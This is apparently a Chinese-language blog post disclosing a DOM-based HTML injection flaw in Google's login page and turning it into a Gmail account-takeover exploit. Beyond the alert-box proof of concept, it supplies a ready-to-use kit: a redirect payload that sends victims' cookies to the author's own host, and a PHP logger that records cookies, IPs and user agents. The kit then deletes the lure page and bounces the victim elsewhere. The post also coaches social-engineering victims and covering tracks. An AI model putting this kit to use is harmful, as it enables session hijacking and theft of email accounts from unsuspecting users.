一次简单的html injection导致的Gmail 0day[完全修正版]
#From http://www.loveshell.net
#剑心
这个漏洞在国庆前就已经发现,后来国庆回来发现google改版了,这个漏洞就被google意外修复了,就没有发布漏洞细节,但是最近发现google再次改版就又改回来了,正好我上次提到html injection( http://www.loveshell.net/blog/blogview.asp?logID=246 ),而这个漏洞正好是个例子,于是就拿出来讨论下,顺便对html injection造成的影响也做下简单的介绍,看看这种Xss到底能做什么:)
google是大型的网络服务商,只要登陆一次,就可以在google提供的各种服务里处于登陆状态,他的认证信息是采用cookie的方式,并且为了方便还是其他原因,cookie并没有和浏览器或者ip绑定,cookie里保存了你的认证信息,我猜测起码包含着你的加密的密码和用户名等信息,并且即使你点击了退出,其实也只不过是google在你的浏览器里清除了cookie而已。以上这些对于黑客意味着只要你能得到一次认证的cookie,就可以永远利用这cookie作为你的密码访问你的google帐户。开始以为google这种把服务绑在一起的做法,意味着只要那么多服务有一个地方出现问题,那么整个都会受到影响,从程序上看就是只要google.com下一个域名存在xss之类的漏洞,就会波及到其他服务包括最为敏感的mail,但是经过测试之后发现事实上并不是那么简单。我们还是来分析下gmail的认证过程吧:
一 Google.com服务认证分析
xss和认证是分不开的,认证的方式可能决定了xss的利用方式,上次的分析觉得太马虎,甚至证明是错误的,这次来详细分析下gmail的登陆方式,为将来的exploit做好准备:)
正常登陆,进入首页,然后输入 http://mail.google.com/mail/ ,开始抓取请求,请求过程如下(cookie简单处理过):
1 http://mail.google.com/mail/
2 https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2
3 http://mail.google.com/mail/?ui=html&zy=l&pli=1&auth=DQAAAHoAAABQSQc9YLJ0OVWvxie35DyUk2iMFY2kMgVggTzsPa0lF6wDXN9Te2B8Eterw3Pjh0ugXF5NdmuNowQHFQa9w42IaT7vj5Q_MS4wnrVlEl8qNA__13oQbLk6slnwRH7xE_g0dAHv6GTTLdnpH2Sz_944H50_kkiySYkJxbEwizrJfg&gausr=xssshell%40gmail.com
4 http://mail.google.com/mail/?auth=DQAAAHoAAABQSQc9YLJ0OVWvxie35DyUk2iMFY2kMgVggTzsPa0lF6wDXN9Te2B8Eterw3Pjh0ugXF5NdmuNowQHFQa9w42IaT7vj5Q_MS4wnrVlEl8qNA__13oQbLk6slnwRH7xE_g0dAHv6GTTLdnpH2Sz_944H50_kkiySYkJxbEwizrJfg&gausr=xssshell%40gmail.com&zx=15tl76j8t6fkm
上面几步完成gmail的登陆,是什么决定了你是否登陆呢?这些请求里面唯一可能变化的就是发送的cookie,而且我们知道google使用cookie认证,可能你一次登陆N天之后还是可以直接进服务的。分析上面的请求:
1 请求登陆mail
Cookie: __utmx=173272373.; __utmz=173272373.1193966736.8.2.utmccn=(referral)|utmcsr=google.cn|utmcct=/accounts/Logout2|utmcmd=referral; __utma=173272373.186433766.1188982067.1193907906.1193966736.8; __utmb=173272373; __utmc=173272373; PREF=ID=cc691da201a59bfd:LD=en:NW=1:CR=2:TM=1165197373:LM=1191830448:GM=1:IG=3:S=HnXNhPCFf7xdHLsL; adsenseReferralClickId=; adsenseReferralSourceId=; adsenseReferralSubId=; AccountsUserLocale=en; TZ=-480; GMAIL_RTT=360; SID=DQ-pH2NuR3Fe1uLZBWvm8Uu02Rz-yxpRW8EETkhatuj5c0_49VAEZhz2Bil4iTeYmIQgcFpmiA6yWXkStmOkb4L8Qk3nBBORh7WQ5DCb-BRpx28WYhF3RwE1gZaU98JlV52LgElsP8EgqFOAj-VCPvQ
2 转向 https:// 请求认证
Cookie: __utmz=173272373.1193966736.8.2.utmccn=(referral)|utmcsr=google.cn|utmcct=/accounts/Logout2|utmcmd=referral; __utma=173272373.186433766.1188982067.1193907906.1193966736.8; GoogleAccountsLocale_session=en; GALX=-9v3itptNkM; __utmx=173272373.; __utmb=173272373; __utmc=173272373; __utma=173272373.186433766.1188982067.1190878925.1191830423.5; __utmz=173272373.1191134563.4.2.utmccn=(referral)|utmcsr=google.com|utmcct=/|utmcmd=referral; LSID=ig.US|s.CN:DQAAAHoAAAAhRFp2nnIbqg0aVlV6Uqz2dUJGMuqjr5kTpx6EjooTMgko8_x0K0NeTKVLm_UwIfEcGC6sl5SUiw1zguXghgnIWisvJOHF_w4UqWVUF5DyWEI8g; [email protected]; PREF=ID=cc691da201a59bfd:LD=en:NW=1:CR=2:TM=1165197373:LM=1191830448:GM=1:IG=3:S=HnXNhPCFf7xdHLsL; adsenseReferralClickId=; adsenseReferralSourceId=; adsenseReferralSubId=; AccountsUserLocale=en; TZ=-480; GMAIL_RTT=360; SID=DQAAAHYAAAB_DQ-pH2NuR3Fe1uLZBWvm8Uu02Rz-yxpRW8EETkhatuj5c0_49VAiAkby3kca96QSp4L8Qk3nBBORh7WQ5DCb-BRpx28WYhF3RwE1gZaU98JlV52LgElsP8EgqFOAj-VCPvQ
3 认证成功,返回到请求的服务
Cookie: __utmx=173272373.; __utmz=173272373.1193966736.8.2.utmccn=(referral)|utmcsr=google.cn|utmcct=/accounts/Logout2|utmcmd=referral; __utma=173272373.186433766.1188982067.1193907906.1193966736.8; __utmb=173272373; __utmc=173272373; PREF=ID=cc691da201a59bfd:LD=en:NW=1:CR=2:TM=1165197373:LM=1191830448:GM=1:IG=3:S=HnXNhPCFf7xdHLsL; adsenseReferralClickId=; adsenseReferralSourceId=; adsenseReferralSubId=; AccountsUserLocale=en; TZ=-480; GMAIL_RTT=360; SID=DQ-pH2NuR3Fe1uLZBWvm8Uu02Rz-yxpRW8EETkhatuj5c0_49VAEZhz2Bil4iTeYmIQgcFpmiA6yWXkStmOkb4L8Qk3nBBORh7WQ5DCb-BRpx28WYhF3RwE1gZaU98JlV52LgElsP8EgqFOAj-VCPvQ
注意,跟1的没多大区别,但是这个时候它有setcookie的内容,到后面一步就知道了
4 开始正常使用服务
Cookie: __utmx=173272373.; __utmz=173272373.1193966736.8.2.utmccn=(referral)|utmcsr=google.cn|utmcct=/accounts/Logout2|utmcmd=referral; __utma=173272373.186433766.1188982067.1193907906.1193966736.8; __utmb=173272373; __utmc=173272373; [email protected]/807215; S=gmail=cfWQ6LE0MZbiJm25LDZxlg:gmail_yj=Z7vHwAIXkryktlbItejqXg:gmproxy=OPFmILmMa5U:gmproxy_yj=u-33CWWWIPU:gmproxy_yj_sub=9l7cuWTN924; GX=DQAAAHgAVTV8SGetElPbTPX1c7FbBKTFKok35WhihDnp72O29RMGF-OShTX8QWHmxvlSsf6rvujTywXjs-_NO_2YwL3mkkzlmUA1P-M4C-gp3Qv7N84c9TU4ONw; GMAIL_AT=2203afa7965c02d0-115fe01fa2f; GBE=bf-i; PREF=ID=cc691da201a59bfd:LD=en:NW=1:CR=2:TM=1165197373:LM=1191830448:GM=1:IG=3:S=HnXNhPCFf7xdHLsL; TZ=-480; GMAIL_RTT=360; SID=DQAAAHYAAAB_DQ-pH28Uu02Rz-yxpRW8EETkhatuj5c0_49VAEZhz2BanYHIEZv16yWXkStmOkby3kca96QSp4L8Qk3nBBORh7WQ5DCb-BRpx28WYhF3RwE1gZaU98JlV52LgElsP8EgqFOAj-VCPvQ; GMAIL_HELP=hosted:0
这个时候我们就需要非常地理解协议和cookie了,cookie包括domain和path,上面的第二步的时候,我们送过去的cookie是 https://www.google.com/ 下面的cookie,这个cookie对于 http://www.google.com 是完全不可见的,用这个cookie认证完之后,认证服务器就产生一个auth并且在url里转到 http://mail.google.com ,然后 http://mail.google.com 利用这个auth来生成cookie,当然,google是设置了路径的,就是在/mail/下面,一般的路径下是取不到的。
到这里,我们有理由很悲观了,是的,想利用xss进入gmail的话,只有几个点可以切入:
1 在https的服务器上xss,取得到认证的cookie,这个时候你可以利用窃取的cookie进入任何服务。
2 在 http://www.google.com/mail/ 或者 http://mail.google.com/mail/ 下面进行xss,直接取得mail的认证信息,这个不影响其他服务。
二 我们的食物在哪里?
以上这些是我们的Gmail 0day的理论基础,而我们现在需要的只是一个满足1或者2的xss点了。
在一次无意地查看源文件中发现这个xss,这个injection漏洞出现在google的登陆页面里,非常恰当地满足了我们的条件1,如果拿到cookie理论上可以进任何google的服务哦,真够幸运,呵呵。打开mail登陆页面可以得到下面的地址:
https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2
这个地址的参数很多,而且很多会出现在页面里,但是google对安全还是很重视的,进来的参数要么是程序作了过滤,要么直接告诉你非法请求,但是我上次提到的html injection却完全是不受服务器方面影响的,因为问题会出现在客户端,服务器方面不会有察觉。那么html injection在哪里呢?察看页面源文件可以看到如下这个函数的定义:
<script>
function utmx_section(){}
(function(){var k='3068818340',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return c.substring(i+n.
length+1,j<0?c.length:j)}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash,
t=h.length>1||!xx||!xx.indexOf(k+':bypasscache');d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+(t?'&utmxtime='
+new Date().valueOf():'')+(h?'&utmxhash='+h.substr(1):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<script>utmx_section("title")</script>
这段代码貌似是google用来统计的代码,他作什么用的我们就不讨论了,我们看看这段代码,首先定义了一个函数,然后接着就调用了这个函数,而这个函数里恰恰用了一个:
l=d.location
仅仅这一句就代表了用户的输入,然后接着看这个l:
h=l.hash
hash是一个url里#之后的部分,提交时是对服务器是不可见的。然后呢?接着居然是d.write操作,d是开始定义的document对象,这里重写了页面,并且参数里面有hash的内容,没有经过过滤地哦,很典型的一个html injection漏洞。接下来就是关于利用了。
这里的利用也很简单,url里#后面的内容代表了这里的hash,保证好语法的正确就可以xss了。我这里提供简单的poc:
https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2&passive=truel#"></script><script>alert('xss')</script>&1-=1
可以看到弹出了xss,可以证明我们可以运行代码了。
三 Exploit
上面可以执行代码,但是这里利用还是有点问题,传统的url xss都是嵌入到iframe里执行的,但是我们这里是https的页面,在测试时发现在ie里嵌入的iframe是取不到cookie信息的(貌似后来知道http的也是不行的),firefox倒是正常,于是想能不能直接对mail作一些操作呢?但是测试的时候发现即使是同一个域名下面https也是不能操作http页面的,而且在https里面带http内容的时候会出现提示,这就为利用带来了难度,但是既然拿到了cookie就拿到了一切的话,那么只要能得到cookie就可以了,用不受域名影响的window.location跳转吧!Exploit如下:
<script>
foourl='';
window.location='https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2&passive=truel#"></sc'+'ript><scr'+'ipt>eval(unescape("url%3Ddocument.location.href%3Bcookie%3D.%3Bc%3D%27http%3A//www.loveshell.net/1.php%3Fc%3D%27+cookie+%27%26u%3D%27+url%3Bdocument.location.hash%3D%27%27%3Bdocument.location%3Dc%3B"))</scr'+'ipt>';
</script>
中间执行的代码的内容是,将当前cookie作为参数跳转到www.loveshell.net,然后我们在那个1.php里保存需要的cookie以及其他信息,然后再作第二次跳转到其他网站,做好隐蔽工作之后我们就可以利用得到的cookie进入别人的邮箱了。整个的利用过程应该看起来是这个样子:
我们精心构造好一个地址,譬如 http://www.loveshell.net/contact.html ,里面包含有我们的exp,然后我们将这个地址骗取别人的点击,这之间可能你需要编造一个诱惑人的故事和寻找一个对安全不太敏感的人,在别人打开这个地址之后我们将这个伪造的地址和可疑的东西销毁,然后就可以利用得到的cookie进入他的邮箱了。
这种xss还是比较难防御的,整个过程在客户端进行,只有从本质上提高代码的安全性才能避免这样的问题,google的安全认证方式也应该受到质疑。到现在google还没有修补该漏洞哦,Just for fun :)
几个Exploit文件如下:
<?php
//配置文件,不要改名
//骗别人访问contact.php就可以了
//contact.php可以改名,image.php和config.php不可以
$sitepath='http://127.0.0.1/test/gmail/';//你的image.php,config.php,contact.php放到一个目录里,这个目录的位置,记得加/
$gourl='http://www.163.com/';//偷取cookie后跳转位置
?>
<?
//漏洞利用文件
include 'config.php';
?>
<script>
foourl='';
window.status='';
window.location='https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2&passive=truel#"></sc'+'ript><scr'+'ipt>eval(unescape("url%3Ddocument.location.href%3Bcookie%3Ddocument.cookie%3Bc%3D%27<?php echo $sitepath?>image.php%3Fc%3D%27+cookie+%27%26u%3D%27+url%3Bdocument.location.hash%3D%27%27%3Bdocument.location%3Dc%3B"))</scr'+'ipt>';
</script>
<?
//取cookie文件
include 'config.php';
?>
<?php
if($_GET[c])
{
$file=fopen("fuckgoogle.php","a+");
fputs($file,"<?php die();?>"."|||Cookie:$_GET[c]|||user-agent:$_SERVER[HTTP_USER_AGENT]|||REMOTE_ADDR:$_SERVER[REMOTE_ADDR]|||REFERER:$_SERVER[HTTP_REFERER]|||url:$_GET[u]\r\n");
fclose($file);
}
else {
$file=fopen("fuckgoogle.txt","a+");
fputs($file,"<?php die();?>"."|||Cookie:$_GET[c]|||user-agent:$_SERVER[HTTP_USER_AGENT]|||REMOTE_ADDR:$_SERVER[REMOTE_ADDR]|||REFERER:$_SERVER[HTTP_REFERER]|||url:$_GET[u]\r\n");
fclose($file);
}
@unlink('contact.php');
?>
<script>
document.location='<?php echo $gourl?>';
</script>